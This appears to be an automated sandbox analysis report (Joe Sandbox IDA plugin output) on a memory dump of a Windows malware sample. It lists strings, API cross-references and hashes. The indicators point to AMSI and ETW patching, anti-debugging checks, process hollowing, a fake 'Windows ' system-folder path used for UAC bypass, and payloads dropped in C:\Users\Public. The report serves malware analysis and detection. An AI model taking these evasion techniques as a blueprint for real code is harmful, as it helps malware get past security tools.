OpenProcess, xrefs: 02E3A295
IconIndex=, xrefs: 02E364F5
CreateProcessAsUserA, xrefs: 02E3A13E
GetProcessMemoryInfo, xrefs: 02E3986B
kernel32, xrefs: 02E3A213, 02E3A246, 02E3A279, 02E3A2AC, 02E3A2DF, 02E3A312, 02E3A345
UacScan, xrefs: 02E2EECF, 02E2F57E, 02E2F676, 02E2FC45, 02E3082B, 02E30E09, 02E3176B, 02E31E7E, 02E3308F, 02E33259, 02E333BA, 02E33533, 02E336B6, 02E33887, 02E33965, 02E33AF3, 02E33FFF, 02E343BC, 02E345F1, 02E352CF, 02E3583F, 02E35A04, 02E35D32, 02E35E3F, 02E3609D, 02E36195, 02E36D38, 02E370DA, 02E372F1, 02E37484, 02E376D8, 02E37B64, 02E37CED, 02E37E46, 02E37FEC, 02E38179, 02E3830D, 02E3848C, 02E38703, 02E38B71, 02E38D8B, 02E38F6C, 02E390E0, 02E39316, 02E3A186
http, xrefs: 02E315CD
UacInitialize, xrefs: 02E2EF33, 02E2F5FA, 02E2FD3D, 02E33D51, 02E341C7, 02E349C0, 02E34C7C, 02E35032, 02E3551F, 02E37035, 02E38877, 02E38C93
CreateProcessW, xrefs: 02E3A12F
endpointdlp, xrefs: 02E39B87, 02E39BBA, 02E39BED, 02E39C20
Initialize, xrefs: 02E2ED3F, 02E2FCC1, 02E2FE55, 02E2FFF3, 02E30199, 02E3044E, 02E30AF1, 02E30F2D, 02E313D7, 02E314E1, 02E31BC8, 02E31EFA, 02E3221A, 02E3254E, 02E326FC, 02E32A55, 02E32E0E, 02E34FB6, 02E3534B, 02E35747, 02E3590C, 02E35B78, 02E35CB6, 02E35EBB, 02E36E30, 02E37AE8, 02E38AF5, 02E396E0, 02E39A7E, 02E39FAD, 02E3A367, 02E3A8B3
Advapi, xrefs: 02E3A0DA, 02E3A0E9, 02E3A0F8, 02E3A107, 02E3A143, 02E3A152, 02E3A161
NtOpenObjectAuditAlarm, xrefs: 02E3896E
NtReadVirtualMemory, xrefs: 02E3A6D3
NtGetWriteWatch, xrefs: 02E3A5A1
dbgcore, xrefs: 02E3899B, 02E389AF
sppc, xrefs: 02E395A9, 02E395DC, 02E3960F, 02E39642, 02E3A552, 02E3A585
CreateProcessAsUserW, xrefs: 02E3A14D, 02E3A16B
[InternetShortcut], xrefs: 02E36490
NtQuerySystemInformation, xrefs: 02E3A099
CryptSIPGetSignedDataMsg, xrefs: 02E2F29F
SLGatherMigrationBlob, xrefs: 02E3A53B
MiniDumpWriteDump, xrefs: 02E38996
SLLoadApplicationPolicies, xrefs: 02E3962B
tquery, xrefs: 02E397E9
CryptSIPVerifyIndirectData, xrefs: 02E2F26C, 02E3989E
SetUnhandledExceptionFilter, xrefs: 02E3A32E
wintrust, xrefs: 02E2F0BF, 02E2F0F2, 02E2F125
I_QueryTagInformation, xrefs: 02E38982
psapi, xrefs: 02E39882
lld.SLITUTEN, xrefs: 02E33AB0
DllGetActivationFactory, xrefs: 02E2F512
DlpNotifyPreDragDrop, xrefs: 02E39B70
C:\\Users\\Public\\Libraries\\, xrefs: 02E34B5E, 02E34BB4, 02E358AF
sys.thgiseurt, xrefs: 02E33EC4
BCryptQueryProviderRegistration, xrefs: 02E2F381
NtSetSecurityObject, xrefs: 02E389BE
C:\\Windows \\SysWOW64\\svchost.exe, xrefs: 02E336A0
BCryptVerifySignature, xrefs: 02E2F34E, 02E399C9
WinHttp.WinHttpRequest.5.1, xrefs: 02E317E1
ScanString, xrefs: 02E2EDA3, 02E2F032, 02E2F147, 02E2F2D8, 02E2F469, 02E2F6F2, 02E2F833, 02E2FDB9, 02E309D1, 02E30B6D, 02E30FA9, 02E311C4, 02E31240, 02E3155D, 02E31883, 02E31B4C, 02E31F89, 02E323BA, 02E325CA, 02E32680, 02E329AF, 02E32AD1, 02E32D92, 02E331DD, 02E33CD5, 02E3414B, 02E34340, 02E34CF8, 02E34E92, 02E351D7, 02E3559B, 02E35C3A, 02E36420, 02E36597, 02E3664F, 02E36CBC, 02E37156, 02E375BD, 02E37BE0, 02E38687, 02E38A79, 02E38E62, 02E3921E, 02E3951C, 02E398D7, 02E39CBE, 02E39EB5, 02E3A45F
RtlCreateQueryDebugBuffer, xrefs: 02E39E00
DlpGetWebSiteAccess, xrefs: 02E39C09
EtwEventWriteEx, xrefs: 02E3A838
EnumServicesStatusExW, xrefs: 02E3A102
RetailTracerEnable, xrefs: 02E397D2
sppwmi, xrefs: 02E3A51F
HotKey=, xrefs: 02E36629
ntdll, xrefs: 02E38973, 02E389C3, 02E389D7, 02E39D4B, 02E39D7E, 02E39DB1, 02E39DE4, 02E39E17, 02E3A5B8, 02E3A5EB, 02E3A61E, 02E3A651, 02E3A684, 02E3A6B7, 02E3A6EA, 02E3A71D, 02E3A750, 02E3A783, 02E3A7B6, 02E3A7E9, 02E3A81C, 02E3A84F, 02E3A882
DlpGetArchiveFileTraceInfo, xrefs: 02E39BD6
OpenSession, xrefs: 02E2ECDB, 02E2EE07, 02E2F7B7, 02E2F8D8, 02E2F9E5, 02E2FAFD, 02E2FED1, 02E3006F, 02E30215, 02E30335, 02E304CA, 02E305C2, 02E307AF, 02E30955, 02E30C83, 02E30EB1, 02E31025, 02E31148, 02E312C6, 02E3166C, 02E316EF, 02E31807, 02E3191F, 02E31A2B, 02E31C49, 02E31D66, 02E32005, 02E32081, 02E32296, 02E32436, 02E32778, 02E32933, 02E32B4D, 02E32C67, 02E32F97, 02E33436, 02E335AF, 02E33732, 02E33B6F, 02E33DCD, 02E33F07, 02E34243, 02E3448B, 02E3466D, 02E34741, 02E348A7, 02E34A3C, 02E34D74, 02E34F0E, 02E350AE, 02E35253, 02E353C7, 02E35617, 02E356CB, 02E35988, 02E35A80, 02E35F37, 02E36211, 02E36385, 02E3651B, 02E366CB, 02E36DB4, 02E36FB9, 02E371D2, 02E37275, 02E37408, 02E377D0, 02E37A6C, 02E37D69, 02E37EC2, 02E38068, 02E381F5, 02E38389, 02E38508, 02E3860B, 02E3877F, 02E389FD, 02E38BED, 02E38EDE, 02E39064, 02E3929A, 02E394A0, 02E39664, 02E39953, 02E39A02, 02E39C42, 02E39E39, 02E39F31, 02E3A3E3, 02E3A9AB
EnumServicesStatusW, xrefs: 02E3A0E4
Kernel32, xrefs: 02E3A125, 02E3A134, 02E3A170
DllRegisterServer, xrefs: 02E2EFF9, 02E2F545
NtQueryVirtualMemory, xrefs: 02E3A5D4
.url, xrefs: 02E354D3
DllGetClassObject, xrefs: 02E2EFA8, 02E2F4DF, 02E39838, 02E3A508
C:\\Windows \\SysWOW64\\, xrefs: 02E33AC6, 02E33EDA
NtWaitForSingleObject, xrefs: 02E39D9A
FlushInstructionCache, xrefs: 02E3A2FB
NEO.c, xrefs: 02E3443D
ScanBuffer, xrefs: 02E2EE6B, 02E2F1C3, 02E2F3ED, 02E2F954, 02E2FA61, 02E2FB79, 02E2FF4D, 02E300EB, 02E30291, 02E303B1, 02E30546, 02E3063E, 02E308A7, 02E30A4D, 02E30BE9, 02E30CFF, 02E30D8D, 02E310A1, 02E31342, 02E31453, 02E315F0, 02E3199B, 02E31AA7, 02E31CC5, 02E31DE2, 02E320FD, 02E3219E, 02E32312, 02E324D2, 02E327F4, 02E32BEB, 02E32E8A, 02E32F1B, 02E332D5, 02E334B7, 02E3362B, 02E337AE, 02E3382A, 02E339E1, 02E33BEB, 02E33E49, 02E3407B, 02E342BF, 02E34507, 02E347BD, 02E34923, 02E34AB8, 02E34DF0, 02E3512A, 02E35443, 02E357C3, 02E35AFC, 02E35DAE, 02E35FB3, 02E36119, 02E3628D, 02E36309, 02E36EAC, 02E36F3D, 02E3736D, 02E37500, 02E3765C, 02E37754, 02E37C71, 02E37F3E, 02E380E4, 02E38271, 02E38405, 02E38584, 02E387FB, 02E388F3, 02E38D0F, 02E38FE8, 02E3915C, 02E39392, 02E39424, 02E3975C, 02E39AFA, 02E3A029, 02E3A92F
EnumServicesStatusExA, xrefs: 02E3A0F3
SLIsGenuineLocalEx, xrefs: 02E395F8
SxTracerGetThreadContextDebug, xrefs: 02E39805, 02E3A4D5
CryptSIPGetInfo, xrefs: 02E2F239
mssip32, xrefs: 02E2F250, 02E2F283, 02E2F2B6, 02E398B5
UacUninitialize, xrefs: 02E32D16, 02E33013, 02E3310B, 02E338E9, 02E33F83
GZmMS1j, xrefs: 02E2ECB4
RtlQueryProcessDebugInformation, xrefs: 02E3A0C6

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: FilePath$Library$AddressModuleNameProc$FreeHandleName_$CloseLoadMove$AttributesCheckDebuggerDeleteInitPresentRemoteSleepStringUnicodeWrite
String ID: .url$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
API String ID: 4208238443-2905671141
Opcode ID: 38d602b386972f8e6903c0388002d2e8fd780f03a9d013388f269c4a78e53585
Instruction ID: 46cf618453b60b30ca894a40d12a428ed7e2572a680394807f9f101e8f7b2059
Opcode Fuzzy Hash: 38d602b386972f8e6903c0388002d2e8fd780f03a9d013388f269c4a78e53585
Instruction Fuzzy Hash: C4240975A801998FDB11EB64DD84ADE73F6AF84304F64E0B5F04AA7358DA70AE85CF10

Function 02E3786F Relevance: 160.3, APIs: 5, Strings: 85, Instructions: 2772
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02E2881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02E28903), ref: 02E28860
Part of subcall function 02E2881C: GetProcAddress.KERNEL32(02E71384,00000000), ref: 02E28879
Part of subcall function 02E2881C: FreeLibrary.KERNEL32(02E71384,00000000,02E71388,Function_000055D8,00000004,02E71398,02E71388,000186A3,00000040,02E7139C,02E71384,00000000,00000000,00000000,00000000,02E28903), ref: 02E288E3

CreateProcessAsUserW.ADVAPI32(02F657D8,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02F657DC,02F65820,OpenSession,02E6CF00,02E3AFD0,UacScan,02E6CF00), ref: 02E37E31
ResumeThread.KERNEL32(02F65824,ScanBuffer,02E6CF00,02E3AFD0,OpenSession,02E6CF00,02E3AFD0,UacScan,02E6CF00,02E3AFD0,ScanBuffer,02E6CF00,02E3AFD0,OpenSession,02E6CF00,02E3AFD0), ref: 02E3847B
CloseHandle.KERNEL32(02F65820,ScanBuffer,02E6CF00,02E3AFD0,OpenSession,02E6CF00,02E3AFD0,UacScan,02E6CF00,02E3AFD0,02F65824,ScanBuffer,02E6CF00,02E3AFD0,OpenSession,02E6CF00), ref: 02E385FA

Part of subcall function 02E28798: LoadLibraryW.KERNEL32(?,?), ref: 02E287AC
Part of subcall function 02E28798: GetProcAddress.KERNEL32(02E71390,BCryptVerifySignature), ref: 02E287C6
Part of subcall function 02E28798: FreeLibrary.KERNEL32(02E71390,02E71390,BCryptVerifySignature,bcrypt,?,02E713D0,00000000,02E713A4,02E2A3BF,ScanString,02E713A4,02E2A774,ScanBuffer,02E713A4,02E2A774,Initialize), ref: 02E28802

CloseHandle.KERNEL32(02F65820,02F65820,ScanBuffer,02E6CF00,02E3AFD0,UacInitialize,02E6CF00,02E3AFD0,ScanBuffer,02E6CF00,02E3AFD0,OpenSession,02E6CF00,02E3AFD0,UacScan,02E6CF00), ref: 02E389EC

Part of subcall function 02E2DAC4: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02E2DB03
Part of subcall function 02E2DAC4: NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 02E2DB6A
Part of subcall function 02E2DAC4: NtClose.NTDLL(?), ref: 02E2DB73

Part of subcall function 02E28184: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02E2820E), ref: 02E281F0

ExitProcess.KERNEL32(00000000,OpenSession,02E6CF00,02E3AFD0,ScanBuffer,02E6CF00,02E3AFD0,Initialize,02E6CF00,02E3AFD0,00000000,00000000,00000000,ScanString,02E6CF00,02E3AFD0), ref: 02E3AA1D

Strings

CreateProcessW, xrefs: 02E3A12F
SLGetGenuineInformation, xrefs: 02E39592
NtQueryInformationThread, xrefs: 02E3A607
endpointdlp, xrefs: 02E39B87, 02E39BBA, 02E39BED, 02E39C20
Initialize, xrefs: 02E378F8, 02E37AE8, 02E38AF5, 02E396E0, 02E39A7E, 02E39FAD, 02E3A367, 02E3A8B3
SLGetEncryptedPIDEx, xrefs: 02E3A56E
Advapi, xrefs: 02E3A0DA, 02E3A0E9, 02E3A0F8, 02E3A107, 02E3A143, 02E3A152, 02E3A161
advapi32, xrefs: 02E38987
NtReadVirtualMemory, xrefs: 02E3A6D3
NtOpenObjectAuditAlarm, xrefs: 02E3896E
WriteVirtualMemory, xrefs: 02E3A2C8
NtGetWriteWatch, xrefs: 02E3A5A1
MiniDumpReadDumpStream, xrefs: 02E389AA
dbgcore, xrefs: 02E3899B, 02E389AF
EnumProcessModules, xrefs: 02E3A111
sppc, xrefs: 02E395A9, 02E395DC, 02E3960F, 02E39642, 02E3A552, 02E3A585
EtwEventWrite, xrefs: 02E3A86B
CreateProcessAsUserW, xrefs: 02E3A14D, 02E3A16B
NtQueryDirectoryFile, xrefs: 02E3A0B7
NtQuerySystemInformation, xrefs: 02E3A099
SLGatherMigrationBlob, xrefs: 02E3A53B
CreateProcessWithLogonW, xrefs: 02E3A15C
psapi, xrefs: 02E3A116
MiniDumpWriteDump, xrefs: 02E38996
CreateProcessA, xrefs: 02E3A120
EnumServicesStatusA, xrefs: 02E3A0D5
SLGetSLIDList, xrefs: 02E395C5
SLLoadApplicationPolicies, xrefs: 02E3962B
tquery, xrefs: 02E397E9
CryptSIPVerifyIndirectData, xrefs: 02E3989E
SetUnhandledExceptionFilter, xrefs: 02E3A32E
VirtualProtect, xrefs: 02E3A262
I_QueryTagInformation, xrefs: 02E38982
spp, xrefs: 02E3981C, 02E3984F, 02E3A4EC
NtQuerySecurityObject, xrefs: 02E3A706
psapi, xrefs: 02E39882
DlpNotifyPreDragDrop, xrefs: 02E39B70
bcrypt, xrefs: 02E399E0
NtWriteVirtualMemory, xrefs: 02E3A7D2
NtSetSecurityObject, xrefs: 02E389BE
NtOpenProcess, xrefs: 02E389D2
BCryptVerifySignature, xrefs: 02E399C9
NtMapViewOfSection, xrefs: 02E3A6A0
VirtualAlloc, xrefs: 02E3A1FC
NtCreateSection, xrefs: 02E3A66D
ScanString, xrefs: 02E37974, 02E37BE0, 02E38687, 02E38A79, 02E38E62, 02E3921E, 02E3951C, 02E398D7, 02E39CBE, 02E39EB5, 02E3A45F
RtlCreateQueryDebugBuffer, xrefs: 02E39E00
EtwEventWriteEx, xrefs: 02E3A838
C:\Windows\System32\, xrefs: 02E37DFB
DlpGetWebSiteAccess, xrefs: 02E39C09
NtDeviceIoControlFile, xrefs: 02E3A0A8
EnumServicesStatusExW, xrefs: 02E3A102
RetailTracerEnable, xrefs: 02E397D2
sppwmi, xrefs: 02E3A51F
VirtualAllocEx, xrefs: 02E3A22F
ntdll, xrefs: 02E38973, 02E389C3, 02E389D7, 02E39D4B, 02E39D7E, 02E39DB1, 02E39DE4, 02E39E17, 02E3A5B8, 02E3A5EB, 02E3A61E, 02E3A651, 02E3A684, 02E3A6B7, 02E3A6EA, 02E3A71D, 02E3A750, 02E3A783, 02E3A7B6, 02E3A7E9, 02E3A81C, 02E3A84F, 02E3A882
DlpGetArchiveFileTraceInfo, xrefs: 02E39BD6
DlpCheckIsCloudSyncApp, xrefs: 02E39BA3
OpenSession, xrefs: 02E3787C, 02E379F0, 02E37A6C, 02E37D69, 02E37EC2, 02E38068, 02E381F5, 02E38389, 02E38508, 02E3860B, 02E3877F, 02E389FD, 02E38BED, 02E38EDE, 02E39064, 02E3929A, 02E394A0, 02E39664, 02E39953, 02E39A02, 02E39C42, 02E39E39, 02E39F31, 02E3A3E3, 02E3A9AB
EnumServicesStatusW, xrefs: 02E3A0E4
NtAlertResumeThread, xrefs: 02E39D34
Ntdll, xrefs: 02E3A09E, 02E3A0AD, 02E3A0BC, 02E3A0CB
LdrGetProcedureAddress, xrefs: 02E3A79F
NtAccessCheck, xrefs: 02E3A739
Kernel32, xrefs: 02E3A125, 02E3A134, 02E3A170
NtQueryVirtualMemory, xrefs: 02E3A5D4
DllGetClassObject, xrefs: 02E39838, 02E3A508
NtOpenFile, xrefs: 02E3A805
LdrLoadDll, xrefs: 02E3A76C
NtWaitForSingleObject, xrefs: 02E39D9A
FlushInstructionCache, xrefs: 02E3A2FB
RtlAllocateHeap, xrefs: 02E39D67, 02E39DCD
ScanBuffer, xrefs: 02E37C71, 02E37F3E, 02E380E4, 02E38271, 02E38405, 02E38584, 02E387FB, 02E388F3, 02E38D0F, 02E38FE8, 02E3915C, 02E39392, 02E39424, 02E3975C, 02E39AFA, 02E3A029, 02E3A92F
NtOpenSection, xrefs: 02E3A63A
OpenProcess, xrefs: 02E3A295
EnumServicesStatusExA, xrefs: 02E3A0F3
SLIsGenuineLocalEx, xrefs: 02E395F8
CreateProcessAsUserA, xrefs: 02E3A13E
GetProcessMemoryInfo, xrefs: 02E3986B
SxTracerGetThreadContextDebug, xrefs: 02E39805, 02E3A4D5
kernel32, xrefs: 02E3A213, 02E3A246, 02E3A279, 02E3A2AC, 02E3A2DF, 02E3A312, 02E3A345
UacScan, xrefs: 02E37B64, 02E37CED, 02E37E46, 02E37FEC, 02E38179, 02E3830D, 02E3848C, 02E38703, 02E38B71, 02E38D8B, 02E38F6C, 02E390E0, 02E39316, 02E3A186
mssip32, xrefs: 02E398B5
UacInitialize, xrefs: 02E38877, 02E38C93
RtlQueryProcessDebugInformation, xrefs: 02E3A0C6

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: CloseHandleLibrary$AddressFreePathProcProcess$CacheCreateExitFileFlushInstructionLoadModuleNameName_ResumeThreadUserWrite
String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 4004194653-1225450241
Opcode ID: f9f0b7dacfad9f4334a1473d813c9d512d2094f2f4536cc388ad01dd7a56f4d8
Instruction ID: 746e8ac5a0c705dc9fc30368749b31cd23aa677c65779e174d7e8ccf8e90ef15
Opcode Fuzzy Hash: f9f0b7dacfad9f4334a1473d813c9d512d2094f2f4536cc388ad01dd7a56f4d8
Instruction Fuzzy Hash: B543F975A801988BDB12EB65DD849DE73F6AF84305F64E0F5F04AA7358DA30AE85CF10

Function 02E11727 Relevance: 9.0, APIs: 7, Instructions: 288
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 02E117D0
Sleep.KERNEL32(0000000A,00000000), ref: 02E117E6

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 617f3fe2d34bf5c9dc2ebc08b66ff026a0e6922232ae8bb4e3e0abc0fbb7f2ff
Instruction ID: 8cd16a91a172eb09fd38cd6260772a66efd772dc2b15a30f669a24a5534747a0
Opcode Fuzzy Hash: 617f3fe2d34bf5c9dc2ebc08b66ff026a0e6922232ae8bb4e3e0abc0fbb7f2ff
Instruction Fuzzy Hash: E0B13176A803418BDB05CF29D488796BBE1EB85354F4CC679E61D8F3C4C370A891CB90

Function 02E28798 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(?,?), ref: 02E287AC
GetProcAddress.KERNEL32(02E71390,BCryptVerifySignature), ref: 02E287C6
FreeLibrary.KERNEL32(02E71390,02E71390,BCryptVerifySignature,bcrypt,?,02E713D0,00000000,02E713A4,02E2A3BF,ScanString,02E713A4,02E2A774,ScanBuffer,02E713A4,02E2A774,Initialize), ref: 02E28802

Part of subcall function 02E27CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02E27D6C

Strings

BCryptVerifySignature, xrefs: 02E287BF
bcrypt, xrefs: 02E287AB

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: b9e353f0d2068382d0e6f0ef6fe4fc5f2270a42c81b0920e0a45bbf0373be00c
Instruction ID: 79ea8b27887ba5a3ae2a3f9d23987a5c7ba64f80d9b16c459332380c5bddf33b
Opcode Fuzzy Hash: b9e353f0d2068382d0e6f0ef6fe4fc5f2270a42c81b0920e0a45bbf0373be00c
Instruction Fuzzy Hash: 4CF0C271AC03247EFB10EB6AA845FB6379CA38435CF42593AB10D8F540C7B0089CCB60

Function 02E28704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 02E2870D

Part of subcall function 02E280C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02E28113
Part of subcall function 02E280C0: GetProcAddress.KERNEL32(?,?), ref: 02E28125

Part of subcall function 02E27CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02E27D6C

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02E2876C

Strings

DllGetClassObject, xrefs: 02E28732
amsi, xrefs: 02E28708
W, xrefs: 02E28719

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: AddressLibraryProc$FreeLoadMemoryVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 2980007069-2671292670
Opcode ID: 8df2b6713553709b91bb66bf7e0e5a7367bbeb9a64d6a610df56841c6857d53c
Instruction ID: 058bbc59f4ad373ee6909bdccbd1896c4b1c740a46224b84a4a39aeb45087c05
Opcode Fuzzy Hash: 8df2b6713553709b91bb66bf7e0e5a7367bbeb9a64d6a610df56841c6857d53c
Instruction Fuzzy Hash: F9F0C26048C381B9E200E6788C45F4FBFCE4B92224F04DE1CB1E99A2D2D679D108CBB7

Function 02E2EBE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 02E2EBF8
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02E2EC0A
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02E2EC21

Strings

CheckRemoteDebuggerPresent, xrefs: 02E2EC04
KernelBase, xrefs: 02E2EBF3

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: 9f6d8b48ee23ef59c18e42033bade6ec20d634f33e62a6efc193e3a6723b5f51
Instruction ID: e3d4aa30c1a68b81705204efbb11b0a17a68fce880bc3d52913e3a5952bef69c
Opcode Fuzzy Hash: 9f6d8b48ee23ef59c18e42033bade6ec20d634f33e62a6efc193e3a6723b5f51
Instruction Fuzzy Hash: 6AF027709442BCAED702A7E8888A7DCFBA94B05328F28A790A026710C0E7702648C650

Function 02E11A8F Relevance: 7.7, APIs: 6, Instructions: 173
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 02E11B17
Sleep.KERNEL32(0000000A,00000000), ref: 02E11B31

Memory Dump Source

Source File: 0000000C.00000002.23065524959.0000000002E11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02E11000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2e11000_Oupzhkpr.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4beeb67d0b7bf5e00a1f47504e0f7226d9d02c1da8095370e849a71a3bc3549d
Instruction ID: f163ce2f99eb7fe26dc5f2a081ec9b2af1ea978cd016bc76c2b1f1b91f6527e9
Opcode Fuzzy Hash: 4beeb67d0b7bf5e00a1f47504e0f7226d9d02c1da8095370e849a71a3bc3549d
Instruction Fuzzy Hash: C051C0756803408FEB15CF69C988B96BBD0AB45318F58D5BEE64CCF2C2E7709885CB91

Function 02E2881C Relevance: 4.6, APIs: 3, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

